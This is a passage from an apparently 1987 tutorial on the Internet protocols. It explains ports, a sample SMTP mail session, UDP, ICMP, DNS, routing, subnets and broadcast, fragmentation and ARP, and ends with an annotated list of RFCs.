TCP and IP take care of all the networking details, the + 12 + + + +applications protocols can treat a network connection as if it were a +simple byte stream, like a terminal or phone line. + +Before going into more details about applications programs, we have to +describe how you find an application. Suppose you want to send a file +to a computer whose Internet address is 128.6.4.7. To start the +process, you need more than just the Internet address. You have to +connect to the FTP server at the other end. In general, network +programs are specialized for a specific set of tasks. Most systems +have separate programs to handle file transfers, remote terminal +logins, mail, etc. When you connect to 128.6.4.7, you have to specify +that you want to talk to the FTP server. This is done by having +"well-known sockets" for each server. Recall that TCP uses port +numbers to keep track of individual conversations. User programs +normally use more or less random port numbers. However specific port +numbers are assigned to the programs that sit waiting for requests. +For example, if you want to send a file, you will start a program +called "ftp". It will open a connection using some random number, say +1234, for the port number on its end. However it will specify port +number 21 for the other end. This is the official port number for the +FTP server. Note that there are two different programs involved. You +run ftp on your side. This is a program designed to accept commands +from your terminal and pass them on to the other end. The program +that you talk to on the other machine is the FTP server. It is +designed to accept commands from the network connection, rather than +an interactive terminal. There is no need for your program to use a +well-known socket number for itself. Nobody is trying to find it. +However the servers have to have well-known numbers, so that people +can open connections to them and start sending them commands. The +official port numbers for each program are given in "Assigned +Numbers". + +Note that a connection is actually described by a set of 4 numbers: +the Internet address at each end, and the TCP port number at each end. +Every datagram has all four of those numbers in it. (The Internet +addresses are in the IP header, and the TCP port numbers are in the +TCP header.) In order to keep things straight, no two connections can +have the same set of numbers. However it is enough for any one number +to be different. For example, it is perfectly possible for two +different users on a machine to be sending files to the same other +machine. This could result in connections with the following +parameters: + + Internet addresses TCP ports + connection 1 128.6.4.194, 128.6.4.7 1234, 21 + connection 2 128.6.4.194, 128.6.4.7 1235, 21 + +Since the same machines are involved, the Internet addresses are the +same. Since they are both doing file transfers, one end of the +connection involves the well-known port number for FTP. The only +thing that differs is the port number for the program that the users +are running. That's enough of a difference. Generally, at least one +end of the connection asks the network software to assign it a port +number that is guaranteed to be unique. Normally, it's the user's +end, since the server has to use a well-known number. + 13 + + + +Now that we know how to open connections, let's get back to the +applications programs. As mentioned earlier, once TCP has opened a +connection, we have something that might as well be a simple wire. +All the hard parts are handled by TCP and IP. However we still need +some agreement as to what we send over this connection. In effect +this is simply an agreement on what set of commands the application +will understand, and the format in which they are to be sent. +Generally, what is sent is a combination of commands and data. They +use context to differentiate. For example, the mail protocol works +like this: Your mail program opens a connection to the mail server at +the other end. Your program gives it your machine's name, the sender +of the message, and the recipients you want it sent to. It then sends +a command saying that it is starting the message. At that point, the +other end stops treating what it sees as commands, and starts +accepting the message. Your end then starts sending the text of the +message. At the end of the message, a special mark is sent (a dot in +the first column). After that, both ends understand that your program +is again sending commands. This is the simplest way to do things, and +the one that most applications use. + +File transfer is somewhat more complex. The file transfer protocol +involves two different connections. It starts out just like mail. +The user's program sends commands like "log me in as this user", "here +is my password", "send me the file with this name". However once the +command to send data is sent, a second connection is opened for the +data itself. It would certainly be possible to send the data on the +same connection, as mail does. However file transfers often take a +long time. The designers of the file transfer protocol wanted to +allow the user to continue issuing commands while the transfer is +going on. For example, the user might make an inquiry, or he might +abort the transfer. Thus the designers felt it was best to use a +separate connection for the data and leave the original command +connection for commands. (It is also possible to open command +connections to two different computers, and tell them to send a file +from one to the other. In that case, the data couldn't go over the +command connection.) + +Remote terminal connections use another mechanism still. For remote +logins, there is just one connection. It normally sends data. When +it is necessary to send a command (e.g. to set the terminal type or to +change some mode), a special character is used to indicate that the +next character is a command. If the user happens to type that special +character as data, two of them are sent. + +We are not going to describe the application protocols in detail in +this document. It's better to read the RFC's yourself. However there +are a couple of common conventions used by applications that will be +described here. First, the common network representation: TCP/IP is +intended to be usable on any computer. Unfortunately, not all +computers agree on how data is represented. There are differences in +character codes (ASCII vs. EBCDIC), in end of line conventions +(carriage return, line feed, or a representation using counts), and in +whether terminals expect characters to be sent individually or a line +at a time. In order to allow computers of different kinds to +communicate, each applications protocol defines a standard + 14 + + + +representation. Note that TCP and IP do not care about the +representation. TCP simply sends octets. However the programs at +both ends have to agree on how the octets are to be interpreted. The +RFC for each application specifies the standard representation for +that application. Normally it is "net ASCII". This uses ASCII +characters, with end of line denoted by a carriage return followed by +a line feed. For remote login, there is also a definition of a +"standard terminal", which turns out to be a half-duplex terminal with +echoing happening on the local machine. Most applications also make +provisions for the two computers to agree on other representations +that they may find more convenient. For example, PDP-10's have 36-bit +words. There is a way that two PDP-10's can agree to send a 36-bit +binary file. Similarly, two systems that prefer full-duplex terminal +conversations can agree on that. However each application has a +standard representation, which every machine must support. + + + +3.1 An example application: SMTP + + +In order to give a bit better idea what is involved in the application +protocols, I'm going to show an example of SMTP, which is the mail +protocol. (SMTP is "simple mail transfer protocol.) We assume that a +computer called TOPAZ.RUTGERS.EDU wants to send the following message. + + Date: Sat, 27 Jun 87 13:26:31 EDT + From: hedrick@topaz.rutgers.edu + To: levy@red.rutgers.edu + Subject: meeting + + Let's get together Monday at 1pm. + +First, note that the format of the message itself is described by an +Internet standard (RFC 822). The standard specifies the fact that the +message must be transmitted as net ASCII (i.e. it must be ASCII, with +carriage return/linefeed to delimit lines). It also describes the +general structure, as a group of header lines, then a blank line, and +then the body of the message. Finally, it describes the syntax of the +header lines in detail. Generally they consist of a keyword and then +a value. + +Note that the addressee is indicated as LEVY@RED.RUTGERS.EDU. +Initially, addresses were simply "person at machine". However recent +standards have made things more flexible. There are now provisions +for systems to handle other systems' mail. This can allow automatic +forwarding on behalf of computers not connected to the Internet. It +can be used to direct mail for a number of systems to one central mail +server. Indeed there is no requirement that an actual computer by the +name of RED.RUTGERS.EDU even exist. The name servers could be set up +so that you mail to department names, and each department's mail is +routed automatically to an appropriate computer. It is also possible +that the part before the @ is something other than a user name. It is +possible for programs to be set up to process mail. There are also +provisions to handle mailing lists, and generic names such as + 15 + + + +"postmaster" or "operator". + +The way the message is to be sent to another system is described by +RFC's 821 and 974. The program that is going to be doing the sending +asks the name server several queries to determine where to route the +message. The first query is to find out which machines handle mail +for the name RED.RUTGERS.EDU. In this case, the server replies that +RED.RUTGERS.EDU handles its own mail. The program then asks for the +address of RED.RUTGERS.EDU, which is 128.6.4.2. Then the mail program +opens a TCP connection to port 25 on 128.6.4.2. Port 25 is the +well-known socket used for receiving mail. Once this connection is +established, the mail program starts sending commands. Here is a +typical conversation. Each line is labelled as to whether it is from +TOPAZ or RED. Note that TOPAZ initiated the connection: + + RED 220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT + TOPAZ HELO topaz.rutgers.edu + RED 250 RED.RUTGERS.EDU - Hello, TOPAZ.RUTGERS.EDU + TOPAZ MAIL From: + RED 250 MAIL accepted + TOPAZ RCPT To: + RED 250 Recipient accepted + TOPAZ DATA + RED 354 Start mail input; end with . + TOPAZ Date: Sat, 27 Jun 87 13:26:31 EDT + TOPAZ From: hedrick@topaz.rutgers.edu + TOPAZ To: levy@red.rutgers.edu + TOPAZ Subject: meeting + TOPAZ + TOPAZ Let's get together Monday at 1pm. + TOPAZ . + RED 250 OK + TOPAZ QUIT + RED 221 RED.RUTGERS.EDU Service closing transmission channel + +First, note that commands all use normal text. This is typical of the +Internet standards. Many of the protocols use standard ASCII +commands. This makes it easy to watch what is going on and to +diagnose problems. For example, the mail program keeps a log of each +conversation. If something goes wrong, the log file can simply be +mailed to the postmaster. Since it is normal text, he can see what +was going on. It also allows a human to interact directly with the +mail server, for testing. (Some newer protocols are complex enough +that this is not practical. The commands would have to have a syntax +that would require a significant parser. Thus there is a tendency for +newer protocols to use binary formats. Generally they are structured +like C or Pascal record structures.) Second, note that the responses +all begin with numbers. This is also typical of Internet protocols. +The allowable responses are defined in the protocol. The numbers +allow the user program to respond unambiguously. The rest of the +response is text, which is normally for use by any human who may be +watching or looking at a log. It has no effect on the operation of +the programs. (However there is one point at which the protocol uses +part of the text of the response.) The commands themselves simply +allow the mail program on one end to tell the mail server the + 16 + + + +information it needs to know in order to deliver the message. In this +case, the mail server could get the information by looking at the +message itself. But for more complex cases, that would not be safe. +Every session must begin with a HELO, which gives the name of the +system that initiated the connection. Then the sender and recipients +are specified. (There can be more than one RCPT command, if there are +several recipients.) Finally the data itself is sent. Note that the +text of the message is terminated by a line containing just a period. +(If such a line appears in the message, the period is doubled.) After +the message is accepted, the sender can send another message, or +terminate the session as in the example above. + +Generally, there is a pattern to the response numbers. The protocol +defines the specific set of responses that can be sent as answers to +any given command. However programs that don't want to analyze them +in detail can just look at the first digit. In general, responses +that begin with a 2 indicate success. Those that begin with 3 +indicate that some further action is needed, as shown above. 4 and 5 +indicate errors. 4 is a "temporary" error, such as a disk filling. +The message should be saved, and tried again later. 5 is a permanent +error, such as a non-existent recipient. The message should be +returned to the sender with an error message. + +(For more details about the protocols mentioned in this section, see +RFC's 821/822 for mail, RFC 959 for file transfer, and RFC's 854/855 +for remote logins. For the well-known port numbers, see the current +edition of Assigned Numbers, and possibly RFC 814.) + + + +4. Protocols other than TCP: UDP and ICMP + + +So far, we have described only connections that use TCP. Recall that +TCP is responsible for breaking up messages into datagrams, and +reassembling them properly. However in many applications, we have +messages that will always fit in a single datagram. An example is +name lookup. When a user attempts to make a connection to another +system, he will generally specify the system by name, rather than +Internet address. His system has to translate that name to an address +before it can do anything. Generally, only a few systems have the +database used to translate names to addresses. So the user's system +will want to send a query to one of the systems that has the database. +This query is going to be very short. It will certainly fit in one +datagram. So will the answer. Thus it seems silly to use TCP. Of +course TCP does more than just break things up into datagrams. It +also makes sure that the data arrives, resending datagrams where +necessary. But for a question that fits in a single datagram, we +don't need all the complexity of TCP to do this. If we don't get an +answer after a few seconds, we can just ask again. For applications +like this, there are alternatives to TCP. + +The most common alternative is UDP ("user datagram protocol"). UDP is +designed for applications where you don't need to put sequences of +datagrams together. It fits into the system much like TCP. There is + 17 + + + +a UDP header. The network software puts the UDP header on the front +of your data, just as it would put a TCP header on the front of your +data. Then UDP sends the data to IP, which adds the IP header, +putting UDP's protocol number in the protocol field instead of TCP's +protocol number. However UDP doesn't do as much as TCP does. It +doesn't split data into multiple datagrams. It doesn't keep track of +what it has sent so it can resend if necessary. About all that UDP +provides is port numbers, so that several programs can use UDP at +once. UDP port numbers are used just like TCP port numbers. There +are well-known port numbers for servers that use UDP. Note that the +UDP header is shorter than a TCP header. It still has source and +destination port numbers, and a checksum, but that's about it. No +sequence number, since it is not needed. UDP is used by the protocols +that handle name lookups (see IEN 116, RFC 882, and RFC 883), and a +number of similar protocols. + +Another alternative protocol is ICMP ("Internet control message +protocol"). ICMP is used for error messages, and other messages +intended for the TCP/IP software itself, rather than any particular +user program. For example, if you attempt to connect to a host, your +system may get back an ICMP message saying "host unreachable". ICMP +can also be used to find out some information about the network. See +RFC 792 for details of ICMP. ICMP is similar to UDP, in that it +handles messages that fit in one datagram. However it is even simpler +than UDP. It doesn't even have port numbers in its header. Since all +ICMP messages are interpreted by the network software itself, no port +numbers are needed to say where a ICMP message is supposed to go. + + + +5. Keeping track of names and information: the domain system + + +As we indicated earlier, the network software generally needs a 32-bit +Internet address in order to open a connection or send a datagram. +However users prefer to deal with computer names rather than numbers. +Thus there is a database that allows the software to look up a name +and find the corresponding number. When the Internet was small, this +was easy. Each system would have a file that listed all of the other +systems, giving both their name and number. There are now too many +computers for this approach to be practical. Thus these files have +been replaced by a set of name servers that keep track of host names +and the corresponding Internet addresses. (In fact these servers are +somewhat more general than that. This is just one kind of information +stored in the domain system.) Note that a set of interlocking servers +are used, rather than a single central one. There are now so many +different institutions connected to the Internet that it would be +impractical for them to notify a central authority whenever they +installed or moved a computer. Thus naming authority is delegated to +individual institutions. The name servers form a tree, corresponding +to institutional structure. The names themselves follow a similar +structure. A typical example is the name BORAX.LCS.MIT.EDU. This is +a computer at the Laboratory for Computer Science (LCS) at MIT. In +order to find its Internet address, you might potentially have to +consult 4 different servers. First, you would ask a central server + 18 + + + +(called the root) where the EDU server is. EDU is a server that keeps +track of educational institutions. The root server would give you the +names and Internet addresses of several servers for EDU. (There are +several servers at each level, to allow for the possibly that one +might be down.) You would then ask EDU where the server for MIT is. +Again, it would give you names and Internet addresses of several +servers for MIT. Generally, not all of those servers would be at MIT, +to allow for the possibility of a general power failure at MIT. Then +you would ask MIT where the server for LCS is, and finally you would +ask one of the LCS servers about BORAX. The final result would be the +Internet address for BORAX.LCS.MIT.EDU. Each of these levels is +referred to as a "domain". The entire name, BORAX.LCS.MIT.EDU, is +called a "domain name". (So are the names of the higher-level +domains, such as LCS.MIT.EDU, MIT.EDU, and EDU.) + +Fortunately, you don't really have to go through all of this most of +the time. First of all, the root name servers also happen to be the +name servers for the top-level domains such as EDU. Thus a single +query to a root server will get you to MIT. Second, software +generally remembers answers that it got before. So once we look up a +name at LCS.MIT.EDU, our software remembers where to find servers for +LCS.MIT.EDU, MIT.EDU, and EDU. It also remembers the translation of +BORAX.LCS.MIT.EDU. Each of these pieces of information has a "time to +live" associated with it. Typically this is a few days. After that, +the information expires and has to be looked up again. This allows +institutions to change things. + +The domain system is not limited to finding out Internet addresses. +Each domain name is a node in a database. The node can have records +that define a number of different properties. Examples are Internet +address, computer type, and a list of services provided by a computer. +A program can ask for a specific piece of information, or all +information about a given name. It is possible for a node in the +database to be marked as an "alias" (or nickname) for another node. +It is also possible to use the domain system to store information +about users, mailing lists, or other objects. + +There is an Internet standard defining the operation of these +databases, as well as the protocols used to make queries of them. +Every network utility has to be able to make such queries, since this +is now the official way to evaluate host names. Generally utilities +will talk to a server on their own system. This server will take care +of contacting the other servers for them. This keeps down the amount +of code that has to be in each application program. + +The domain system is particularly important for handling computer +mail. There are entry types to define what computer handles mail for +a given name, to specify where an individual is to receive mail, and +to define mailing lists. + +(See RFC's 882, 883, and 973 for specifications of the domain system. +RFC 974 defines the use of the domain system in sending mail.) + + + + 19 + + + +6. Routing + + +The description above indicated that the IP implementation is +responsible for getting datagrams to the destination indicated by the +destination address, but little was said about how this would be done. +The task of finding how to get a datagram to its destination is +referred to as "routing". In fact many of the details depend upon the +particular implementation. However some general things can be said. + +First, it is necessary to understand the model on which IP is based. +IP assumes that a system is attached to some local network. We assume +that the system can send datagrams to any other system on its own +network. (In the case of Ethernet, it simply finds the Ethernet +address of the destination system, and puts the datagram out on the +Ethernet.) The problem comes when a system is asked to send a +datagram to a system on a different network. This problem is handled +by gateways. A gateway is a system that connects a network with one +or more other networks. Gateways are often normal computers that +happen to have more than one network interface. For example, we have +a Unix machine that has two different Ethernet interfaces. Thus it is +connected to networks 128.6.4 and 128.6.3. This machine can act as a +gateway between those two networks. The software on that machine must +be set up so that it will forward datagrams from one network to the +other. That is, if a machine on network 128.6.4 sends a datagram to +the gateway, and the datagram is addressed to a machine on network +128.6.3, the gateway will forward the datagram to the destination. +Major communications centers often have gateways that connect a number +of different networks. (In many cases, special-purpose gateway +systems provide better performance or reliability than general-purpose +systems acting as gateways. A number of vendors sell such systems.) + +Routing in IP is based entirely upon the network number of the +destination address. Each computer has a table of network numbers. +For each network number, a gateway is listed. This is the gateway to +be used to get to that network. Note that the gateway doesn't have to +connect directly to the network. It just has to be the best place to +go to get there. For example at Rutgers, our interface to NSFnet is +at the John von Neuman Supercomputer Center (JvNC). Our connection to +JvNC is via a high-speed serial line connected to a gateway whose +address is 128.6.3.12. Systems on net 128.6.3 will list 128.6.3.12 as +the gateway for many off-campus networks. However systems on net +128.6.4 will list 128.6.4.1 as the gateway to those same off-campus +networks. 128.6.4.1 is the gateway between networks 128.6.4 and +128.6.3, so it is the first step in getting to JvNC. + +When a computer wants to send a datagram, it first checks to see if +the destination address is on the system's own local network. If so, +the datagram can be sent directly. Otherwise, the system expects to +find an entry for the network that the destination address is on. The +datagram is sent to the gateway listed in that entry. This table can +get quite big. For example, the Internet now includes several hundred +individual networks. Thus various strategies have been developed to +reduce the size of the routing table. One strategy is to depend upon +"default routes". Often, there is only one gateway out of a network. + 20 + + + +This gateway might connect a local Ethernet to a campus-wide backbone +network. In that case, we don't need to have a separate entry for +every network in the world. We simply define that gateway as a +"default". When no specific route is found for a datagram, the +datagram is sent to the default gateway. A default gateway can even +be used when there are several gateways on a network. There are +provisions for gateways to send a message saying "I'm not the best +gateway -- use this one instead." (The message is sent via ICMP. See +RFC 792.) Most network software is designed to use these messages to +add entries to their routing tables. Suppose network 128.6.4 has two +gateways, 128.6.4.59 and 128.6.4.1. 128.6.4.59 leads to several other +internal Rutgers networks. 128.6.4.1 leads indirectly to the NSFnet. +Suppose we set 128.6.4.59 as a default gateway, and have no other +routing table entries. Now what happens when we need to send a +datagram to MIT? MIT is network 18. Since we have no entry for +network 18, the datagram will be sent to the default, 128.6.4.59. As +it happens, this gateway is the wrong one. So it will forward the +datagram to 128.6.4.1. But it will also send back an error saying in +effect: "to get to network 18, use 128.6.4.1". Our software will then +add an entry to the routing table. Any future datagrams to MIT will +then go directly to 128.6.4.1. (The error message is sent using the +ICMP protocol. The message type is called "ICMP redirect.") + +Most IP experts recommend that individual computers should not try to +keep track of the entire network. Instead, they should start with +default gateways, and let the gateways tell them the routes, as just +described. However this doesn't say how the gateways should find out +about the routes. The gateways can't depend upon this strategy. They +have to have fairly complete routing tables. For this, some sort of +routing protocol is needed. A routing protocol is simply a technique +for the gateways to find each other, and keep up to date about the +best way to get to every network. RFC 1009 contains a review of +gateway design and routing. However rip.doc is probably a better +introduction to the subject. It contains some tutorial material, and +a detailed description of the most commonly-used routing protocol. + + + +7. Details about Internet addresses: subnets and broadcasting + + +As indicated earlier, Internet addresses are 32-bit numbers, normally +written as 4 octets (in decimal), e.g. 128.6.4.7. There are actually +3 different types of address. The problem is that the address has to +indicate both the network and the host within the network. It was +felt that eventually there would be lots of networks. Many of them +would be small, but probably 24 bits would be needed to represent all +the IP networks. It was also felt that some very big networks might +need 24 bits to represent all of their hosts. This would seem to lead +to 48 bit addresses. But the designers really wanted to use 32 bit +addresses. So they adopted a kludge. The assumption is that most of +the networks will be small. So they set up three different ranges of +address. Addresses beginning with 1 to 126 use only the first octet +for the network number. The other three octets are available for the +host number. Thus 24 bits are available for hosts. These numbers are + 21 + + + +used for large networks. But there can only be 126 of these very big +networks. The Arpanet is one, and there are a few large commercial +networks. But few normal organizations get one of these "class A" +addresses. For normal large organizations, "class B" addresses are +used. Class B addresses use the first two octets for the network +number. Thus network numbers are 128.1 through 191.254. (We avoid 0 +and 255, for reasons that we see below. We also avoid addresses +beginning with 127, because that is used by some systems for special +purposes.) The last two octets are available for host addesses, +giving 16 bits of host address. This allows for 64516 computers, +which should be enough for most organizations. (It is possible to get +more than one class B address, if you run out.) Finally, class C +addresses use three octets, in the range 192.1.1 to 223.254.254. +These allow only 254 hosts on each network, but there can be lots of +these networks. Addresses above 223 are reserved for future use, as +class D and E (which are currently not defined). + +Many large organizations find it convenient to divide their network +number into "subnets". For example, Rutgers has been assigned a class +B address, 128.6. We find it convenient to use the third octet of the +address to indicate which Ethernet a host is on. This division has no +significance outside of Rutgers. A computer at another institution +would treat all datagrams addressed to 128.6 the same way. They would +not look at the third octet of the address. Thus computers outside +Rutgers would not have different routes for 128.6.4 or 128.6.5. But +inside Rutgers, we treat 128.6.4 and 128.6.5 as separate networks. In +effect, gateways inside Rutgers have separate entries for each Rutgers +subnet, whereas gateways outside Rutgers just have one entry for +128.6. Note that we could do exactly the same thing by using a +separate class C address for each Ethernet. As far as Rutgers is +concerned, it would be just as convenient for us to have a number of +class C addresses. However using class C addresses would make things +inconvenient for the rest of the world. Every institution that wanted +to talk to us would have to have a separate entry for each one of our +networks. If every institution did this, there would be far too many +networks for any reasonable gateway to keep track of. By subdividing +a class B network, we hide our internal structure from everyone else, +and save them trouble. This subnet strategy requires special +provisions in the network software. It is described in RFC 950. + +0 and 255 have special meanings. 0 is reserved for machines that +don't know their address. In certain circumstances it is possible for +a machine not to know the number of the network it is on, or even its +own host address. For example, 0.0.0.23 would be a machine that knew +it was host number 23, but didn't know on what network. + +255 is used for "broadcast". A broadcast is a message that you want +every system on the network to see. Broadcasts are used in some +situations where you don't know who to talk to. For example, suppose +you need to look up a host name and get its Internet address. +Sometimes you don't know the address of the nearest name server. In +that case, you might send the request as a broadcast. There are also +cases where a number of systems are interested in information. It is +then less expensive to send a single broadcast than to send datagrams +individually to each host that is interested in the information. In + 22 + + + +order to send a broadcast, you use an address that is made by using +your network address, with all ones in the part of the address where +the host number goes. For example, if you are on network 128.6.4, you +would use 128.6.4.255 for broadcasts. How this is actually +implemented depends upon the medium. It is not possible to send +broadcasts on the Arpanet, or on point to point lines. However it is +possible on an Ethernet. If you use an Ethernet address with all its +bits on (all ones), every machine on the Ethernet is supposed to look +at that datagram. + +Although the official broadcast address for network 128.6.4 is now +128.6.4.255, there are some other addresses that may be treated as +broadcasts by certain implementations. For convenience, the standard +also allows 255.255.255.255 to be used. This refers to all hosts on +the local network. It is often simpler to use 255.255.255.255 instead +of finding out the network number for the local network and forming a +broadcast address such as 128.6.4.255. In addition, certain older +implementations may use 0 instead of 255 to form the broadcast +address. Such implementations would use 128.6.4.0 instead of +128.6.4.255 as the broadcast address on network 128.6.4. Finally, +certain older implementations may not understand about subnets. Thus +they consider the network number to be 128.6. In that case, they will +assume a broadcast address of 128.6.255.255 or 128.6.0.0. Until +support for broadcasts is implemented properly, it can be a somewhat +dangerous feature to use. + +Because 0 and 255 are used for unknown and broadcast addresses, normal +hosts should never be given addresses containing 0 or 255. Addresses +should never begin with 0, 127, or any number above 223. Addresses +violating these rules are sometimes referred to as "Martians", because +of rumors that the Central University of Mars is using network 225. + + + +8. Datagram fragmentation and reassembly + + +TCP/IP is designed for use with many different kinds of network. +Unfortunately, network designers do not agree about how big packets +can be. Ethernet packets can be 1500 octets long. Arpanet packets +have a maximum of around 1000 octets. Some very fast networks have +much larger packet sizes. At first, you might think that IP should +simply settle on the smallest possible size. Unfortunately, this +would cause serious performance problems. When transferring large +files, big packets are far more efficient than small ones. So we want +to be able to use the largest packet size possible. But we also want +to be able to handle networks with small limits. There are two +provisions for this. First, TCP has the ability to "negotiate" about +datagram size. When a TCP connection first opens, both ends can send +the maximum datagram size they can handle. The smaller of these +numbers is used for the rest of the connection. This allows two +implementations that can handle big datagrams to use them, but also +lets them talk to implementations that can't handle them. However +this doesn't completely solve the problem. The most serious problem +is that the two ends don't necessarily know about all of the steps in + 23 + + + +between. For example, when sending data between Rutgers and Berkeley, +it is likely that both computers will be on Ethernets. Thus they will +both be prepared to handle 1500-octet datagrams. However the +connection will at some point end up going over the Arpanet. It can't +handle packets of that size. For this reason, there are provisions to +split datagrams up into pieces. (This is referred to as +"fragmentation".) The IP header contains fields indicating the a +datagram has been split, and enough information to let the pieces be +put back together. If a gateway connects an Ethernet to the Arpanet, +it must be prepared to take 1500-octet Ethernet packets and split them +into pieces that will fit on the Arpanet. Furthermore, every host +implementation of TCP/IP must be prepared to accept pieces and put +them back together. This is referred to as "reassembly". + +TCP/IP implementations differ in the approach they take to deciding on +datagram size. It is fairly common for implementations to use +576-byte datagrams whenever they can't verify that the entire path is +able to handle larger packets. This rather conservative strategy is +used because of the number of implementations with bugs in the code to +reassemble fragments. Implementors often try to avoid ever having +fragmentation occur. Different implementors take different approaches +to deciding when it is safe to use large datagrams. Some use them +only for the local network. Others will use them for any network on +the same campus. 576 bytes is a "safe" size, which every +implementation must support. + + + +9. Ethernet encapsulation: ARP + + +There was a brief discussion earlier about what IP datagrams look like +on an Ethernet. The discussion showed the Ethernet header and +checksum. However it left one hole: It didn't say how to figure out +what Ethernet address to use when you want to talk to a given Internet +address. In fact, there is a separate protocol for this, called ARP +("address resolution protocol"). (Note by the way that ARP is not an +IP protocol. That is, the ARP datagrams do not have IP headers.) +Suppose you are on system 128.6.4.194 and you want to connect to +system 128.6.4.7. Your system will first verify that 128.6.4.7 is on +the same network, so it can talk directly via Ethernet. Then it will +look up 128.6.4.7 in its ARP table, to see if it already knows the +Ethernet address. If so, it will stick on an Ethernet header, and +send the packet. But suppose this system is not in the ARP table. +There is no way to send the packet, because you need the Ethernet +address. So it uses the ARP protocol to send an ARP request. +Essentially an ARP request says "I need the Ethernet address for +128.6.4.7". Every system listens to ARP requests. When a system sees +an ARP request for itself, it is required to respond. So 128.6.4.7 +will see the request, and will respond with an ARP reply saying in +effect "128.6.4.7 is 8:0:20:1:56:34". (Recall that Ethernet addresses +are 48 bits. This is 6 octets. Ethernet addresses are conventionally +shown in hex, using the punctuation shown.) Your system will save +this information in its ARP table, so future packets will go directly. +Most systems treat the ARP table as a cache, and clear entries in it + 24 + + + +if they have not been used in a certain period of time. + +Note by the way that ARP requests must be sent as "broadcasts". There +is no way that an ARP request can be sent directly to the right +system. After all, the whole reason for sending an ARP request is +that you don't know the Ethernet address. So an Ethernet address of +all ones is used, i.e. ff:ff:ff:ff:ff:ff. By convention, every +machine on the Ethernet is required to pay attention to packets with +this as an address. So every system sees every ARP requests. They +all look to see whether the request is for their own address. If so, +they respond. If not, they could just ignore it. (Some hosts will +use ARP requests to update their knowledge about other hosts on the +network, even if the request isn't for them.) Note that packets whose +IP address indicates broadcast (e.g. 255.255.255.255 or 128.6.4.255) +are also sent with an Ethernet address that is all ones. + + + +10. Getting more information + + +This directory contains documents describing the major protocols. +There are literally hundreds of documents, so we have chosen the ones +that seem most important. Internet standards are called RFC's. RFC +stands for Request for Comment. A proposed standard is initially +issued as a proposal, and given an RFC number. When it is finally +accepted, it is added to Official Internet Protocols, but it is still +referred to by the RFC number. We have also included two IEN's. +(IEN's used to be a separate classification for more informal +documents. This classification no longer exists -- RFC's are now used +for all official Internet documents, and a mailing list is used for +more informal reports.) The convention is that whenever an RFC is +revised, the revised version gets a new number. This is fine for most +purposes, but it causes problems with two documents: Assigned Numbers +and Official Internet Protocols. These documents are being revised +all the time, so the RFC number keeps changing. You will have to look +in rfc-index.txt to find the number of the latest edition. Anyone who +is seriously interested in TCP/IP should read the RFC describing IP +(791). RFC 1009 is also useful. It is a specification for gateways +to be used by NSFnet. As such, it contains an overview of a lot of +the TCP/IP technology. You should probably also read the description +of at least one of the application protocols, just to get a feel for +the way things work. Mail is probably a good one (821/822). TCP +(793) is of course a very basic specification. However the spec is +fairly complex, so you should only read this when you have the time +and patience to think about it carefully. Fortunately, the author of +the major RFC's (Jon Postel) is a very good writer. The TCP RFC is +far easier to read than you would expect, given the complexity of what +it is describing. You can look at the other RFC's as you become +curious about their subject matter. + +Here is a list of the documents you are more likely to want: + + rfc-index list of all RFC's + + 25 + + + + rfc1065/6/7 + Simple Network Management Protocol (SNMP). A protocol + to get information from gateways and hosts, to monitor + failures, and to reconfigure gateways and hosts + remotely. This protocol will be the foundation for + network management activities involving TCP/IP. RFC + 1028 documents the Simple Gateway Monitoring Protocol + (SGMP), which is an interim protocol on which SNMP is + based. SGMP will be replaced by SNMP during 1988/89. + + rfc1064,1056,937 + protocols for reading mail on PC's + + rfc1062 Assigned Numbers. If you are working with TCP/IP, you + will probably want a hardcopy of this as a reference. + It's not very exciting to read, but is essential. It + lists all the offically defined well-known ports and + lots of other things. + + rfc1059 Network Time Protocol. A protocol for synchronizing + the time on all your machines. Also allows you to get + time from one of the national time standards. + + rfc1058 Routing Information Protocol. Details of the most + commonly-used routing protocol. + + rfc1057 RPC. A protocol for remote procedure calls. Sun's + Network File System is based on this. The actual NFS + protocol specification is currently available only from + Sun. Sun supplies a public domain implementation of + RPC. Aside from its use by NFS (whose implementation + is not public domain), RPC has been used by a number of + groups for building server/client systems such as + remote database servers. See also RFC 1014. + + rfc1042 IP encapsulation for IEEE 802 networks. This will be + used for the IEEE token ring, broadband, etc. In + principle it seems that this would cover Ethernet, + since Ethernet is IEEE 802.3. However the normal + encapsulation used on Ethernet is defined by RFC 894. + + rfc1032/3/4/5 + domains (the database used to go from host names to + Internet address and back -- also used to handle UUCP + these days). This includes protocol standards, as well + as information directed at people who are going to have + to set up a domain name server. Every site should have + a copy of these documents. + + rfc1014 XDR: External Data Representation Standard. This is + part of the specifications for Sun's RPC protocol (RFC + 1057), which is the protocol underlying Sun's Network + File System. + + rfc1013 X Window System Protocol, Version 11. Documents the + 26 + + + + most commonly used remote window system. + + rfc1012 list of all RFC's below 1000, with somewhat more + information than rfc-index. + + rfc1011 Official Protocols. It's useful to scan this to see + what tasks protocols have been built for. This defines + which RFC's are actual standards, as opposed to + requests for comments. + + rfc1009 NSFnet gateway specifications. A good overview of IP + routing and gateway technology. + + rfc1001/2 netBIOS: networking for PC's + + rfc959 FTP (file transfer) + + rfc950 subnets + + rfc894 how IP is to be put on Ethernet, see also rfc825 + + rfc854/5 telnet - protocol for remote logins + + rfc826 ARP - protocol for finding out Ethernet addresses + + rfc821/2 mail + + rfc814 names and ports - general concepts behind well-known + ports + + rfc793 TCP + + rfc792 ICMP + + rfc791 IP + + rfc768 UDP + + ien-116 old name server (still needed by several kinds of + system) + + ien-48 the Catenet model, general description of the + philosophy behind TCP/IP + +The following documents are somewhat more specialized. + + rfc1055 SLIP (IP for dialup lines) + + rfc1054 IP multicasting + + rfc1048 Bootp, a protocol often used to allow diskless systems + to find their IP address. + + rfc813 window and acknowledgement strategies in TCP + + 27 + + + + rfc815 datagram reassembly techniques + + rfc816 fault isolation and resolution techniques + + rfc817 modularity and efficiency in implementation + + rfc879 the maximum segment size option in TCP + + rfc896 congestion control + + rfc827,888,904,975,985 + EGP and related issues + +To those of you who may be reading this document remotely instead of +at Rutgers: The most important RFC's have been collected into a +three-volume set, the DDN Protocol Handbook. It is available from the +DDN Network Information Center, SRI International, 333 Ravenswood +Avenue, Menlo Park, California 94025 (telephone: 800-235-3155). You +should be able to get them via anonymous FTP from sri-nic.arpa. File +names are: + + RFC's: + rfc:rfc-index.txt + rfc:rfcxxx.txt + IEN's: + ien:ien-index.txt + ien:ien-xxx.txt + +Sites with access to UUCP but not FTP may be able to retreive them via +UUCP from UUCP host rutgers. The file names would be + + 